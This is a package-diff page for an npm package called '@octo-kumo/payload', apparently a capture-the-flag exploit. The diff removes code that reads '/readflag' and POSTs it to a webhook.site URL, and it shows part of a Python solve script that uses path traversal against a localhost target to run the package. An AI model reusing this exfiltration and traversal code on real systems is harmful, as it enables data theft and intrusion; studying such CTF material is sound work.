@octo-kumo/payload 1.0.10 → 1.0.11
Sign up to get free protection for your applications and to get access to all the features.
- package/package.json +1 -1
- package/payload.tsx +1 -9
- package/solve.py +2 -2
package/package.json
CHANGED
package/payload.tsx
CHANGED
@@ -1,12 +1,4 @@
|
|
1
1
|
import * as fs from 'fs'
|
2
2
|
export const handler = async (c) => {
|
3
|
-
|
4
|
-
method: "POST",
|
5
|
-
body: "yo!"
|
6
|
-
})
|
7
|
-
await fetch("https://webhook.site/edba7673-e348-4f1e-ad83-9d051fce1229", {
|
8
|
-
method: "POST",
|
9
|
-
body: fs.readFileSync("/readflag")
|
10
|
-
})
|
11
|
-
return c.html("haha hacked!")
|
3
|
+
return c.text(fs.readFileSync("/readflag"))
|
12
4
|
}
|
package/solve.py
CHANGED
@@ -3,8 +3,8 @@ import time
|
|
3
3
|
import requests
|
4
4
|
|
5
5
|
|
6
|
-
target = 'http://localhost:
|
7
|
-
p = '/../../../deno-dir/npm/registry.npmjs.org/@octo-kumo/payload/1.0.
|
6
|
+
target = 'http://localhost:12031'
|
7
|
+
p = '/../../../deno-dir/npm/registry.npmjs.org/@octo-kumo/payload/1.0.10/payload'
|
8
8
|
preload = target + '/query?package=%40octo-kumo%2Fpayload'
|
9
9
|
activate = target + p
|
10
10
|
|